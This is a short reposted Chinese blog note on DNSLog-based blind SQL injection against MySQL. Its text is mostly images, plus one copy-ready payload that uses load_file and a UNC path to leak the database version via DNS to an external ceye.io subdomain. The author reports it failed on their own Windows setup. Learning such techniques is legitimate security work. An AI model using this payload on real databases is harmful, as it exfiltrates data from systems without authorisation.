首页 > 数据库技术 > 详细

SQL注入——DNSLog盲注

时间:2019-08-02 02:18:55      阅读:168      评论:0      收藏:0      [点我收藏+]

技术分享图片


技术分享图片

 


技术分享图片


 

技术分享图片

 


 为了复制方便:select load_file(concat(‘\\\\‘,(select version()),‘.mysql.4zmpxr.ceye.io\\abc‘))

//我自己在Windows下的MySQL里面试了半天,并没有成功,抓包发现,mysql连数据包都没有发送……不过这个网站里面的payload倒是有点用

这个函数只能在windows下使用

 

SQL注入——DNSLog盲注

原文:https://www.cnblogs.com/blogs-1024/p/11285924.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!